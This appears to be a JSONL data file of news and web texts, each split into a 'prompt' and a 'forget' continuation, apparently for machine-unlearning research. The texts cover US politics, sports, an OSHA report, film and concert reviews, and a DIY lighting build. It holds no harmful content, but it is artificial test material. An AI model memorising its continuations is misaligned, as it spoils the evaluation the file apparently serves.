| \u03b8 ) {\\displaystyle f(y|\\theta )} likelihood function, i.e. the density function for the observed data y {\\displaystyle y} \u03b8 {\\displaystyle"}
{"prompt": "Over the years since the Veterans Administration scandal, U.S. Sen. Dean Heller has made a lot of noise about helping veterans while not doing a lot that was substantive, particularly dealing with staffing shortages. A statement on the veterans suicide rate, a bill supposedly solving a transplant problem for veterans when the donor is a non-veteran, a statement on Veteran\u2019s Day (he\u2019s for it) were among Heller\u2019s news releases. Four months ago, he touted his support for a bill providing interim funding to keep the VA Choice program alive, which begged the question of why the program needed such stopgap", "forget": "funding mid-year.. The reason was that Republicans keep veteran programs on a short financial leash. Several years ago, when the Iraq and Afghanistan Veterans Association still published report cards on voting records of congressmembers, we reported that Democrats regularly provide greater support for vets than Republicans. That may have seemed counterintuitive to those who think Democrats are soft on military spending, but we quoted columnist Bob Geiger, who scrutinized the scores: \u201cThe worst grade received by a Senate Democrat was higher than the best grade received by a Senate Republican.\u201d To put it simply, today\u2019s Republicans who have taken over the GOP do not like government. Waiting lines will always be with veterans until a Congress is elected that does not want to see government fail. Heller is a member of a party that takes pleasure in seeing public agencies stumble because of obstacles placed in their path by Congress. That\u2019s why service to veterans often moves at a crawl. And Heller has not himself broken from that belief system to get more assistance for veterans. This year, though Heller has been quick at every opportunity to portray himself publicly as the veterans\u2019 advocate, he never said a word about the problems posed by the Republican tax cut bill to a troubled Veterans Choice program. Indeed, there is no evidence that Heller even knew about the intersect of the two. The Choice program gives access to services, surgeries, and treatment for vets that Veterans Administration programs cannot provide, and also assures vets in low-population areas care near their homes The army newspaper Stars and Stripes reported that the tax bill \u201cmuddied debate \u2026 on legislation that would significantly change the system that veterans use to receive private health care. \u2026 During the past year, disagreements over how to reform the"}
{"prompt": "It was Dec. 1, 2013. With the score at 7-7 in the second quarter, the Philadelphia Eagles marched to the Arizona Cardinals\u2019 6-yard line. It was at this moment when Chip Kelly unveiled a surprising wrinkle. From Video If Nick Foles was there, who was lined up as quarterback? From Video Meet Brad Smith. He has experience as a wide receiver, running back, quarterback, kick returner and special teams ace. A few things about this play made people believe this was the Wildcat formation. The starting quarterback was positioned as a receiver, and a player who wasn\u2019t the starting quarterback", "forget": "took the snap. In fact, the Wildcat formation doesn\u2019t require either of those things. From Video The Wildcat formation always uses an unbalanced line, specifically the tackle-over set. The tight end lines up next to the weakside guard, while the two offensive tackles are next to each other on the playside. From Video Motion always sets up the play\u2019s run from the Wildcat formation: usually a power run by the player taking the snap, a jet sweep by the motion man or a pass. Kelly insisted after the Eagles-Cardinals game that he did not call the Wildcat formation. \u201cIt was not a Wildcat play,\u201d head coach Chip Kelly said. \u201cIt\u2019s just Brad Smith plays quarterback. So let\u2019s straighten that out right now. We don\u2019t run the Wildcat. It\u2019s just a play. He played quarterback. Nick played receiver because Brad\u2019s really good with the ball in his hands.\u201d From Video There was no tackle-over set or motion man. Kelly was absolutely correct when he said this play was not the Wildcat. So, if it wasn\u2019t the Wildcat, what was it? Look at where running back LeSean McCoy lined up. This should be familiar to Oregon and Eagles fans who know how the Inside Zone Read works. From Video Ignore the fact that Smith fumbled the ball. That isn\u2019t the important part. McCoy was preparing for the mesh point with Smith, as he would during an Inside Zone Read. The offensive line was zone blocking the defense. It left the outside linebacker unblocked, probably because Smith was supposed to be reading him on this play. It is also noteworthy that there were three receivers (Riley Cooper, Jason Avant, Foles) who each faced single-coverage. From Video Cooper ran what appeared to be a corner route. Avant ran a crossing route. Foles took All-Pro"}
{"prompt": "Nevada OSHA has finished its investigation into the death of Sarah Guillot-Guyard, the Cirque du Soleil performer who fell 94 feet during the climactic scene of Ka on June 29 and later died. OSHA determined that accident happened when the wire rope she was suspended from broke. According to the report, the wire rope \u201cwas severed due to the rapid ascent of the performer, ultimately causing the rope to be freed from the sheave/pulley and scraping against a shear point.\u201d OSHA officials cited Cirque du Soleil with six proposed citations and more than $25,000 in fines and MGM Grand with", "forget": "three citations and a $7,000 fine. Cirque du Soleil and MGM are appealing the fines. One of the citations for Cirque du Soleil includes a failure to \u201cprotect or prevent \u2018Ka\u2019 employees from striking an overhead grid during the \u2018Ka\u2019 show at the \u2018Ka\u2019 Theater.\u201d Reporting for the Las Vegas Sun, John Katsilometes wrote that \u201cThis matches reports from those familiar with the \u2018Ka\u2019 staging and fatal incident that Guillot-Guyard did hit the metal grid over the stage as she ascended high above the Final Battle scene, which jarred the rope connecting her to her harness.\u201d Katsilometes also reported that Cirque du Soleil will be appealing the fine: In a statement that also referenced Cirque\u2019s internal review of the incident, [Cirque du Soleil spokeswoman Rene-Claude Menard] said: \u201cCirque du Soleil completed an exhaustive review of its safety policies and procedures in the wake of the tragic accident involving Sarah. We have redoubled our efforts to ensure the overall diligence and safety of our performers and crew. We have received and reviewed the OSHA citations. We have initiated the appeal process as part of OSHA\u2019s administrative protocol. Safety always has been the top priority for Cirque du Soleil, its performers and crew members.\u201d On the KTNV website, Krista Hostetler listed the citations OSHA has proposed. They are: Summary of Cited Violations Cirque du Soleil: - NRS 618.375 (1): A General Duty Citation was issued because the employer did not protect or prevent KA employees from striking an overhead grid during the KA show at the KA Theater. $7,000 proposed penalty. - The first part of the General Duty Citation was issued because the employer did not provide proper training for the KA Battle Spearman Warrior employee involved in the accident in the use of equipment and tasks used in the Ka"}
{"prompt": "Most Americans do not even think about getting information from alternative news sources The US most popular TV channel Fox News has been beaten by CNN for the first time during the last seven years. Preferences of US citizens were affected by the media reporting of the election campaign and the country\u2019s foreign policy. Twelve million TV viewers preferred the \u2018objective\u2019 CNN to Fox News that justifies George Bush\u2019s policy. Most Americans do not even think about getting information from alternative news sources In April 2008 the CNN audience counted 62 million people, while Fox News had only 50 million", "forget": "TV viewers, Handelsblatt reports. According to US media experts, the reason for this change is the information policy run by the competing TV channels. \u201cCNN has beaten all the TV channels by the quality of its programs concerning the elections,\u201d said Joe Cuthbert, a professor of the Department of Journalism of the Columbia University in the City of New York. Fox News, a part of Rupert Murdoch\u2019s News Corporation, engaged in one-sided advocacy of the stance of the current US administration, instead of providing all-round objective reports of election campaigns. Economists proved that George Bush would have never won the 2000 election but for the support from Fox News. The TV channel definitely backs up right-wing Republicans, Cuthbert considers. \u201cFox is rather the advocate of Bush\u2019s government than a news TV channel. Now the political ship is sinking, and so is Fox.\u201d Jonathan Mann who has been working for CNN for 20 years remembers that \u201cCNN used to be a tiny company with a small budget and minimum possibilities.\u201d Now the moderator is 47 years old, but he started as a European correspondent in Paris, and did reports on the fall of the Berlin Wall and the collapse of communism in Eastern Europe. \u201cAt that time we first tried to work in a new way \u2013 to broadcast news day and night.\u201d Naturally, some companies followed that example and later turned into our serious rivals: Fox News and MSNBC in the USA, as well as BBC World, Sky News, N-TV, N24 and other channels in Europe. Today in India alone there are over 25 news channels. \u201cCNN sells a certain product \u2013 this product is called information,\u201d Jonathan Mann said. In late 1990s CNN reduced the amount of political news and started doing more talk shows. As a result, from"}
{"prompt": "The Last Jedi doesn\u2019t feel like a Star Wars movie. This isn\u2019t a bad thing, exactly. There are moments of brilliance where director Rian Johnson is clearly trying to elevate this franchise, imbue it with a greater complexity. There are other moments that feel like the worst of Marvel films. And then there are the porgs, which are a bit like the Minions of the franchise. I\u2019m going to go ahead and discuss spoilers from here on out, because I feel this film is difficult to dissect without going into detail, and let\u2019s be honest, nobody needs a recommendation to", "forget": "go and see a Star Wars film. So if you haven\u2019t seen it, read no further. Major Spoilers ahead The very first scene, with Hux\u2019s threat to Poe turning into a prank call, was tonally off. Guardians of the Galaxy was heavily influenced by Star Wars, and now it seems that inspiration has turned full circle. In fact, although some of the humor was welcome, there was far too much wisecracking throughout the film. At the end, I half expected Rey\u2019s ship to crash land on Earth and encounter the Avengers, only to turn to the camera and wink as the credits rolled. On the other hand, there are some surprisingly mature themes here, as the franchise moves beyond the very clearly defined good and evil of the past installments. The importance of failure, the refusal to define Kylo by his Force allegiance, and the admission that heroes can come from humble backgrounds are all interesting attempts to diversify the narrative. I confess, I never liked Luke Skywalker as a character before (please don\u2019t hate me), but I really enjoyed his presence in this film. Luke has grown beyond the starry-eyed boy and into a jaded, isolated old master, paralleling Yoda\u2019s journey from the original trilogy. But the moment where he intended to murder the young, sleeping Kylo felt utterly wrong, going against the grain of everything the character is. It may have been only an instant, but Skywalker always seemed genuinely innocent, the kind of guy who doesn\u2019t learn to masturbate until his late teens. The man is a boy scout, and he has no business murdering sleeping students. That being said, Mark Hamill has only improved with age, and I was deeply sorry to see him go. I loved his dramatic force-projection scene with Kylo, and him peacefully"}
{"prompt": "+ Show + Game 1 08:00 GMT (+00:00) oGsSuperNoVa vs makaprime Game 2 TLAF-Liquid`HuK vs Winner Game 3 MvPviOlet vs Winner Game 4 ChoyafOu vs Winner Game 5 09:00 GMT (+00:00) SlayerSMin vs Winner Game 6 HannibalPrime vs Winner Game 7 SlayerSDrugBird vs Winner Game 8 oGsTheStC vs Winner Game 9 10:00 GMT (+00:00) oGsVINES vs Winner Game 10 NuclearfOu vs Winner Game 11 AnnyungPrime vs Winner Game 12 TLAF-Liquid`Jinro vs Winner vsvsvsvsvsvsvsvsvsvsvsvs + Show + FXOpen Korean KOTH Sunday, May 15 8:00am GMT (GMT+00:00) Presenting the latest line of FXOpen e-Sports events, the FXOpen KOTH . This competition will", "forget": "see some of the best players across all three servers compete in a king of the hill style format where ladder points and $300 cash is up for grabs for players who accrue the most wins.This event is set to take place each weekend alternating between theandeach time and featuring several players, including those which miss out onparticipation due to other commitments. The ladder points also contribute towards eventual offline events with much larger prizepools to be announced later in the year, and strong performances in the KOTH lead to more invites to anseparate from the previously announced LAN.Keep track of the standings by total wins and ladder points on the FXOpen e-Sports Forums This is the Korean-based event with players selected from Korea and people residing in Korea. Remember, if you don't see your favourite player here many of the names will be recycled each month, while prizewinners from the previous month will be given first chance at a repeat invite!All invited players will play in order against the winner of the previous match. After all players have played, the player standing undefeated at the end will recieve, and the player with the longest win-streak of the night will recieve. Ladder points for the event will also be awarded as below:The last-man-standing and longest streak from the previous month will be invited back to play in Game 1 the following episode, up to a maximum of two events in a row.Last man standing:Highest win streak:In addition to cash prizes, players who participate in our invitational series will accruedirectly towards invites for future LAN events with much bigger prizepools.Maps will be selected by the challenger from the following:Terminus RETal'Darim AltarMetalopolisScrap StationShakuras PlateauThe Shattered TempleXel'Naga CavernsCrevasseFXOpen is a forex trading company seeking to get more involved in the game they are"}
{"prompt": "A ship jointly owned by Swedish, Greek, and Norwegian activists hoping to join a flotilla of activist vessels challenging Israel's economic blockade of Gaza, had its propeller cut while in Athen's harbor today. A spokesman contacted by the Monitor said that the damage was a deliberate act of sabotage. Israel and its allies have been working hard to head off the planned flotilla, which is hoping to enter the waters off Gaza in the next week. Col. (ret) Ann Wright, who's organizing a US vessel named the Audacity of Hope for the flotilla, says her ship has been detained in", "forget": "Athens on spurious charges that it's not seaworthy. She says that charge was made by an Israeli legal group. Now the Juliano is held up. Mikael L\u00f6fgren, a spokesman for Ship to Gaza Sweden, says the damage was discovered at 6:30 in the evening Athens time today, and that divers probably cut the propeller in the past 24 hours. \"The reports I'm receiving is that it's certain that it was sabotage,\" says Mr. L\u00f6fgren, reached by phone in Sweden. \"The propeller and [propeller shaft] has been cut and we have divers that have filmed the damages. Experts have said there\u2019s no doubt\" that the damage was deliberate. He says that repairing the damage will take a few days. As to who is responsible, he declined to speculate. \"We simply don't know who did it, but it's obviously a hostile act,\" says L\u00f6fgren. Israel has been desperate to stop the flotilla from nearing Gaza. Israel raided a similar flotilla in international waters last year, killing nine pro-Palestinian activists in the process, one of them an American citizen. In the wake of that event, and the international outcry against Israel, Israel eased some of the restrictions on the flow of goods into Gaza. This year, Israel is determined it doesn't get that far. Earlier today, Prime Minister Benjamin Netanyahu's cabinet approve using any means necessary to stop the flotilla from reaching Gaza. The US has also been putting pressure on the activists to hold back. Secretary of State Hillary Clinton characterized the flotilla as hostile in a comment last week. \"We think that it's not helpful for there to be flotillas that try to provoke action by entering into Israeli waters and creating a situation in which the Israelis have the right to defend themselves,\" Clinton said. The flotilla, in fact, says"}
{"prompt": "The Ice Light is \u201ca portable, dimmable, daylight balanced, continuous LED light source with a built in battery\u201d that costs $450. In this post I will show you how I made a DIY version for less than $30. Parts Used You\u2019ll only need to pick up 6 things to build a DIY ice light: Defiant 700 lumen focusing LED flashlight ($19.88 from Home Depot. Model #: HD14Q406) 24\u2033 PVC pipe, 1.5\u2033 diameter (~$2) 1.5\u2033 PVC coupler (~$1) 1.5\u2033 PVC cap (~$1) 48\u2033 Fluorescent bulb shield (~$2. This slides over a fluorescent bulb to prevent it from shattering) Small piece of", "forget": "aluminum foil. (Had it in the house, because we\u2019re civilized) The Steps I redesigned the PVC pipe and made it about 5\u2033 shorter. It was too long and unwieldy. I took a little more care in marking off the space to cut out. The blue tape worked perfect to keep a straight line. Cut the opening in the PVC pipe. This can be whatever width you want. Mine is a little less than halfway through. Cut the flourescent shield to the same length as the pipe. Then use a utility knife to cut it longways. Sand the inside and outside of the fluorescent shield to create a \u201csmoked glass\u201d look and set aside. This shows how I got the fluorescent shield to stay large enough to snugly fit into the pipe. Just a simple slit on one side and the other side slides in. Also you can see how the once clear plastic looks after sanding it: Remove the \u201ccrown\u201d off of the bulb end of the flashlight. You will still have the reflector cone and clear focuser inside the light. This takes a bit of sanding for adjustment but the 1.5\u2033 coupler almost threads perfectly onto the end of the flashlight. Sand as needed and test fit. Push 24\u2033 PVC into the unsanded coupler end. PVC Cement can be used if desired. I shoved a wrinkled disc of foil in the end cap to reflect light back. Don\u2019t make it too thick or the PVC pipe wont go in all the way. Cut a piece of aluminum foil slightly bigger than then end of the PVC pipe, shiny side toward the flashlight. Fit it over the pipe and slide the PVC Cap about half way on. If there\u2019s any foil sticking out, trim with utility knife. Then press Cap"}
{"prompt": "And so, we stagger into an even more uncertain future Emotions ran high as Hong Kong legislators opened debate on a controversial electoral reform package on Wednesday. Supporters and opponents made last-ditch efforts after extensive campaigns to influence public opinion. (In the end, the measure was roundly rejected, with 28 votes against eight in favor of the bill after most of its supporters walked out.) As if these were not enough drama, police smashed a bomb plot on Monday that recalls conspiracies such as the Gunpowder Treason Plot, a failed assassination attempt on England\u2019s King James in 1605, or the", "forget": "Reichstag Fire, an arson attack on the German parliament building in Berlin in 1933. One can\u2019t help feeling that worse things are about to happen. Prosperous metropolis The British colonial authorities didn\u2019t bother with so-called \u201cdesinicization\u201d of Hong Kong. Rather, they gave way to local customs and did not force people to spurn Chinese history, culture, religion and the like. Under the British, Hong Kong earned a place on the global map as a prosperous metropolis unequalled in any Chinese society. China\u2019s rapid rise as a global power and its growing ambitions have had a negative effect on local politicians and the business elite. They have become Beijing\u2019s lackeys to promote its political agenda in Hong Kong including a controversial roadmap to the 2017 chief executive election. Young Hong Kong people see such moves by Beijing as a bad omen, especially after it issued a white paper last year in which it asserted full control and authority over Hong Kong in contravention of \u201cone country, two systems\u201d. Their concerns, dismissed as unrealistic and doomed, remain unanswered by Beijing and their own government. What\u2019s worse, they are increasingly alienated by a government that is not above questionable tactics. Their disaffection has been used as an excuse by so-called \u201clocalists\u201d to push separatism. That used to be a pipe dream. Now, the notion of Hong Kong independence has entered the real world. Secessionists are a minority but in a time of globalization and social networking, their message may be catching on. Although it might take a long time before they hit world headlines and begin to rattle China, it cannot be completely ignored. Three-year spiral It has only been three years into Leung Chun-ying\u2019s administration and we\u2019re already seeing a precipitous decline in social cohesion. Leung\u2019s style of governance has led to"}
{"prompt": "Robbie Dinwoodie reported in Friday\u2019s Herald (here) that it was likely the Scotland Bill Committee at Holyrood would recommend that the Parliament withhold legislative consent unless joint commencement arrangements for the income tax provisions were agreed. It\u2019s odd that this particular issue should seemingly be the decisive one, though less so if one looks at the conduct of the various parties. The unease of the Holyrood committee about the bill is no wonder. The committee has an SNP majority, including three ex-ministers. The UK Government has declined to amend the bill as requested by the predecessor committee, let alone in", "forget": "accordance with the changes sought by the SNP Scottish Government. The bill already failed to incorporate some recommendations made by the Calman Commission (notably devolving a share of income tax arising from interest and dividend payments, air passenger duty and the aggregates levy), but included a UK Government wish-list of powers over matters like referrals to the UK Supreme Court and international relations that would increase UK power to control the use of devolved powers. None of that is conducive to helping gain support for the bill at Holyrood. There\u2019s a long list of concerns about the bill, including those set out in my own evidence, and the evidence of Michael Moore and David Mundell last week may have been emollient but it was also unyielding. But perhaps the key issue is the way the Scottish block grant is to be cut to allow for the new devolved power over income tax. This has been a key objection of mine to the bill\u2019s proposals, from the time it was published just under a year ago. It ought to be fairly straightforward to calculate the first year\u2019s reduction, and illustrative figures for that could have been prepared when the first UK Government white paper was published in November 2009 (but wasn\u2019t). What\u2019s more difficult is the methodology for adjusting that amount in subsequent years, so the amount by which the block grant is reduced in year 5 or year 10 after the new system is introduced is still \u2018proportional\u2019. This issue was covered in a single sentence into the Calman Commission report, but took 10 pages in the Holtham commission\u2019s report looking at the same issue for Wales. Although the first Scotland Bill Committee made a recommendation about the approach based on the evidence of Gerald Holtham, the UK Government has"}
{"prompt": "Concepcion, Chile (CNN) -- You couldn't see the sun rise in Concepcion because the cloud cover was so thick. You couldn't hear a sound because a curfew had silenced the streets. The only activity was the occasional rumble of the Earth. And, after each rumble, a little more brick and roof gave way in this shattered little city. Concepcion feels like it's falling to pieces. It's not just pieces of homes vulnerable to the earthquakes -- most have stood up well. It's falling apart from the aftereffects that have plagued this city since that awful morning: the looting, the lack", "forget": "of fuel, food and water and a burning frustration that not enough is being done for people with high expectations of their government. A fire at a clothing store seems on the verge of reigniting. Piles of newly fallen bricks and glass block streets, products of a night of persistent shaking. The military seems to have invaded, firing into the air to deter looting and rolling large military equipment through empty communities. Full coverage of the Chilean earthquake All this carries on while a rescue operation seems to be wrapping up. Manuel Mendoza, a firefighter, told a crowd gathered around a collapsed 15-story building that the searchers didn't have the right type of equipment to pick through the rubble. It wasn't long before an aftershock drove his men from even their limited search. They haven't heard sounds of life since early Monday morning. A police unit has shown up to sift through personal belongings recovered inside and marked them according to floor. They wanted something to give to relatives, even if just an unusable laptop. O'Brien: Looters are leaving the biggest aftershocks A woman showed up to marvel at how she and her husband and two kids emerged alive from the 12th floor. It's so low now that her daughter's bedroom window is a foot from the ground. We could poke our heads in and see it was crushed, yet here she was with a soft neck brace. She was ready to leave, and so seemed much of Concepcion. The curfew ran from 6 p.m. to noon, stalling people eager to go out in search of water or fuel. So when it lifted, the town seemed to erupt with activity. After more than three days of looting and aftershocks, people headed to the airport by the hundreds. iReport: Are you"}
{"prompt": "Metropolitan News-Enterprise Thursday, December 15, 2005 Page 11 REMINISCING (Column) At 10-2 and 4 O\u0092Clock , It Was Dr. Pepper Time By ROGER M. GRACE I\u0092ve come across an ad for a Dr Pepper contest. To have a chance at winning $5,000 tax free, the ad says, an entrant simply has to supply the second line for this couplet: \u0093A lift for life at 10, 2 and 4 \u0093 .\u0094 In case you\u0092re thinking of rushing to get your submission in, sorry, you muffed the deadline. It was midnight , July 31, 1951. A more recent Dr Pepper contest had", "forget": "a May 22, 1965 deadline. The first prize was described thusly: \u0093Two fun-filled weeks in scenic Switzerland (TIME capital of the world), a car clock (installed in a 1965 Mustang), His and Her Longine watches\u0097and\u0097$10.24 an hour, 24 hours a day for 14 days .\u0094 The contest placed an accent on time, an ad explained, \u0093because we\u0092ve clocked \u009110,\u0092 \u00912\u0092 and \u00914\u0092 as traditional Dr Pepper times.\u0094 The sum of $10.24 was arrived at, it was spelled out, was \u0093[t]o remind you of 10, 2 and 4\u0097what else!\u0094 If you\u0092re my vintage, or older, or just a bit younger, Dr Pepper\u0092s tie to the numerals \u009310, 2 and 4\u0094 is no mystery. I strongly suspect, however, that if my daughter were to read the foregoing, it would make absolutely no sense to her. The significance of the numerals to the popular fruit-based soft drink is explained on the website of the oldest bottler of Dr. Pepper (in Dublin , Texas ) as follows: \u0093It was in the 1920s that Dr. Walter Eddy at Columbia University studied the body\u0092s metabolism. He discovered that a natural drop in energy occurs about 10:30 a.m. , 2:30 p.m. and 4:30 p.m. But he also discovered that if the people in his research study had something to eat or drink at 10, 2 and 4, the energy slump could be avoided. \u0093After Dr. Eddy\u0092s research findings were released, Dr Pepper challenged its advertising agency to come up with a theme which would suggest that Dr Pepper should be that 10, 2 and 4 drink which would keep the energy level up. The result was one of the most enduring of Dr Pepper\u0092s advertising themes: Drink a bite to eat at 10, 2 and 4.\u0094 Promotions for Dr. Pepper centered on those numbers. For example, an"}
{"prompt": "Microsoft\u2019s policy, which it calls its Services Agreement, allows it to analyze customer content from one its free products and use it to improve another service \u2014 for example, taking information from messages a consumer sends on Windows Live Messenger and using it to improve messaging services on Xbox. Previously, that kind of sharing of information between products would not have been allowed under Microsoft policies, which limited the use of data collected under one of its products to that product alone. Microsoft has promised, however, that it will not use the personal information and content it collects to sell", "forget": "targeted advertising. It will not, for example, scan a consumer\u2019s e-mails to generate ads that might interest the user. Google does that, and expanding its ability to draw on that content was part of the reason Google changed its privacy policy this year. But the new Microsoft policy does allow for such targeted advertising. Microsoft promised not to do so in blog posts and e-mails informing its customers about the change, but not in the formal policy. That has some privacy advocates nervous. \u201cWhat Microsoft is doing is no different from what Google did,\u201d said John M. Simpson, who monitors privacy policy for Consumer Watchdog, a California nonprofit group. \u201cIt allows the combination of data across services in ways a user wouldn\u2019t reasonably expect. Microsoft wants to be able to compile massive digital dossiers about users of its services and monetize them.\u201d Jack Evans, a Microsoft spokesman, says the company\u2019s plans are benign. He differentiates between the Services Agreement, also known as the terms of use, that was changed on Friday and the company\u2019s Privacy Policy, which was last updated in April. \u201cOver the years, we have consistently informed users that we may use their content to improve the services they receive,\u201d Mr. Evans said in a written statement. \u201cFor instance, we analyze content to improve our spam and malware filters in order to keep customers safe. We also do it to develop new product features such as e-mail categorization to organize similar items like shipping receipts in a common folder, or to automatically add calendar invitations. \u201cHowever,\u201d he added, \u201cone thing we don\u2019t do is use the content of our customers\u2019 private communications and documents to create targeted advertising. If that ever changes, we\u2019ll be the first to let our customers know.\u201d Newsletter Sign Up Continue reading the main"}
{"prompt": "Katedra (Cathedral in English) is a Lithuanian Heavy Metal band, founded in 1986. From the outset, it was significantly influenced by the style of Iron Maiden.[1] Members [ edit ] Current members [ edit ] Former members [ edit ] Povilas Me\u0161k\u0117la \u2013 vocals (episodically also trombone), Romas Rainys \u2013 guitar, Marius Giedrys \u2013 drums, Naglis Patamsis \u2013 keyboard, Algimantas Radavi\u010dius \u2013 bass guitar, Domas D\u0117dinas - drums, Gediminas Jurgaitis - bass guitar. History [ edit ] Beginning [ edit ] In its first incarnation, Katedra was composed of the three musicians: Ri\u010dardas Laginauskas on guitar, Algimantas Radavi\u010dius on bass,", "forget": "and Marius Giedrys on drums. Later, former Foje guitarist Romas Rainys and even then-unknown vocalist Povilas Me\u0161k\u0117la joined the band. December 1986 was the official start of Katedra. Mors Ultima Ratio and break up [ edit ] In 1989 band finished recording their first LP called \"Mors Ultima Ratio\" (Latin: \"Death is the final accounting\"). Although, it was released a year after recording, Katedra's first vinyl album gained extreme popularity in Lithuania. \"Mors Ultima Ratio\" was also noticed by Edgar Klusener from \"Metal Hammer\" magazine. He described Katedra as: \"that is pure thrash metal act, strong both musically and technically. In fact the formation is superior in comparison with 90 percent of similar Western acts. So it is evident how far the music in Lithuania made headway. Katedra are the only matadors in Lithuania and maybe stand among the hottest European thrash metal bands\".[2] Gained popularity, opened doors to concerts abroad. In 1991 Katedra played at \"Baltic Sea Music Festival\" in Sweden. Unfortunately, it was the last gig for Povilas Me\u0161k\u0117la and Romas Rainys with the band. Soon after the festival they left Katedra. Downturn [ edit ] The band was now seeking another shift: Ri\u010dardas took over the vocalist position. The band's output at this time included the album \"Natus in articulo mortis\"; their music became more severe; and Ri\u010dardas's vocal entry of the Katedra sounds from the standard clich\u00e9s.[citation needed] The trio played many concerts and their albums were played on Lithuanian radio stations. Later, and for some time, concert activity was stopped. Although the trio continued to build and perform together, the group's name was almost forgotten. It was a new generation, and new names appeared on the Metal stage. In February 2001, the band was invited to play an acoustic concert on Lithuanian national television. The"}
{"prompt": "Get the biggest Manchester United FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Sergio Romero loves Louis van Gaal so much that he was once quite literally prepared to smash through a brick wall for the man he regards as his second father. Romero, the Argentine keeper who has replaced David De Gea in Manchester United\u2019s team for the first two games of the Premier League season, became so enraged after making the mistake that saw Van Gaal\u2019s AZ Alkmaar team", "forget": "knocked out of the Dutch Cup that he punched a dressing-room wall. His anger left him with a hand so badly broken that he missed the climax of his club\u2019s incredible 2009 Eredivisie title triumph. Van Gaal branded Romero a fool. But that didn\u2019t prevent the United boss from asking the 28-year-old if he was interested in a mutual rescue mission when De Gea\u2019s refusal to sign a new contract began to give United a problem earlier this summer. \u201cI am back with my old manager and I am so happy,\u201d said Romero. (Image: AFP/Getty) \u201cI owe Louis van Gaal so much. I will tell you what I told the boss the first time we worked together: that when you have an Argentine in your team, you get a never-give-up mentality. \u201cI find it incredible that I am now at this club after the year that I have had. I wasn\u2019t wanted anywhere else, but I am coming towards the strongest and best part of my football life.\u201d When Van Gaal took Romero to Alkmaar in 2007, he had a rule at the club that the players could only talk Dutch. It was then that the keeper discovered a side to the disciplinarian Dutchman that will surprise many. (Image: Michael Regan) Romero recalled: \u201cI was told that Van Gaal only allowed the players to speak Dutch \u2013 and that the rule was not broken for anyone. \u201cI felt as if I had arrived in a complete new world in Holland. I\u2019d spent my entire youth with my first club, Racing Club in Argentina. \u201cBut then I found out that the coach was not as hard as everyone had said. \u201cHe helped me by speaking to me in Spanish every day, talking in a very quiet voice so that the other"}
{"prompt": "CocoRosie / Busdriver Venue, Vancouver BC, October 24 Photo: Alan Ranta Published Oct 25, 2013 9 Surrealism was in the air as the CocoRosie faithful came out in force, as hippy-gypsy Renaissance Fair ladies in frilly dresses that looked like they walked out of the freak-folk duo's liner notes filled Venue to capacity.With skeletons and mummies hanging from the ceiling to light the Halloween spirit, and a clothesline stretched across the stage, Los Angeles rapper Regan Farquhar (a.k.a. Busdriver) warmed the crowd up with a solo set. He tweaked beats ranging from hard house to symphonic glitch over which he", "forget": "laid his signature cerebral flows, delivered at a breakneck pace that could rival Busta Rhymes in his prime. While obviously talented, Farquhar seemed almost schizophrenic, alternately dazzling and befuddling as he attempted to engage the distracted crowd with hard-stop teasers and beckons to the crowd for responses.Upping the theatrics, CocoRosie sisters Bianca and Sierra Casady, along with multi-instrumentalist Takuya Nakamura and ace beatboxer TEZ, took the stage wearing stripy muumuus, the first of many costumes they'd move through. Sierra would rock lingerie, an apron, and a sequin geometric tutu, while Bianca put on a Twin Rivers t-shirt from the clothesline, a top hat, overalls, a \"Pride\" baseball hat, and saggy bottom jogging pants, with both later donning the tribal masks from their \"We Are On Fire\" video.Their performance went far beyond costumes, though: Nakamura played a Nord keyboard, upright piano, and trumpet, among other things; Sierra spent time between harp, piano, and vocal processors; and Bianca laid down bass lines on a Korg and performed various wind instruments. TEZ was the only musician who didn't change instruments between every song.Everything felt live and fresh. For all the dense soundscapes, they sprinkled in stunning minimal moments like when Bianca sang the majority of \"Harmless Monster\" from their recent albumwith just a piano accompaniment, or when TEZ nailed an awe-inspiring solo beatboxing exhibition mid-set, including his take on Ginuwine's \"Pony.\"Their theatricality was something else. They played with the clothesline, or at least got caught up in it a couple times, and used a white vanity set to stage Broadway moments, fanning themselves there before an early costume change or reapplying makeup. With her creepy, childlike voice and hip-hop style, Bianca was reminiscent of Beth Gibbons, but Sierra earned MVP of this show; her opera training at the Conservatoire de Paris shined through,"}
{"prompt": "Bernie Sanders\u2019 campaign ended months ago, but at least one Jewish participant in this reliably horrific presidential election still has the chance to make history on November 8th. According to an Emerson College poll published this week, Evan McMullin, the independent conservative candidate for president, holds a slim lead over Donald Trump in his home state of Utah, topping Trump 31% to 27%. If McMullin were to win The Beehive State, the ex-CIA agent and former director of the House Republican Conference would snag six entire electoral votes\u2014as would his running mate, former Republican strategist (and, we should note, member", "forget": "of the Tribe) Mindy Finn. This would be the first time since a maverick elector cast a vote for Libertarian John Hospers in 1972 that a third-party candidate took home an electoral tally, something that such one-time household names as John Anderson, Ross Perot, and Ralph Nader couldn\u2019t accomplish. (In an ironic reversal, the last third-party candidate to win a state was segregationist George Wallace in 1968.) It\u2019s fitting that this election season could end with such a rarity. Anderson, Perot, and Nader were nationally prominent figures when they launched their independent bids for the presidency. But Perot, who got 19% of the popular vote in 1992, was up against incumbent president George H.W. Bush and charismatic Arkansas governor Bill Clinton. Anderson ran against the Ronald Reagan and Jimmy Carter in 1980. Third-party options aside, both elections offered a compelling binary choice between fairly traditional candidates. If McMullin and Finn win Utah, it would underscore the widespread dissatisfaction at the Republican and Democratic candidates, who at one point were the two least-popular presidential nominees in history. The unique dynamics of the 2016 race benefit McMullin in another respect: as Noah Feldman recently noted in Bloomberg View, solid-red Utah has seen through Donald Trump to a degree that few other places have, largely thanks to the state\u2019s sizable Mormon population, a religious demographic that, Feldman notes, is \u201cgenuinely repulsed by Donald Trump.\u201d Trump has exposed conservative ideology as being fluid and conditional for GOP voters and many of their elected leaders. Not so with Utah\u2019s Mormons, who seem unwilling to lower their standards of moral behavior for the New York real estate developer\u2019s benefit. Mormons are also sensitive to the scapegoating of other religious groups: As Feldman writes, the church came out forcefully against Trump\u2019s proposed ban on all Muslim travel"}
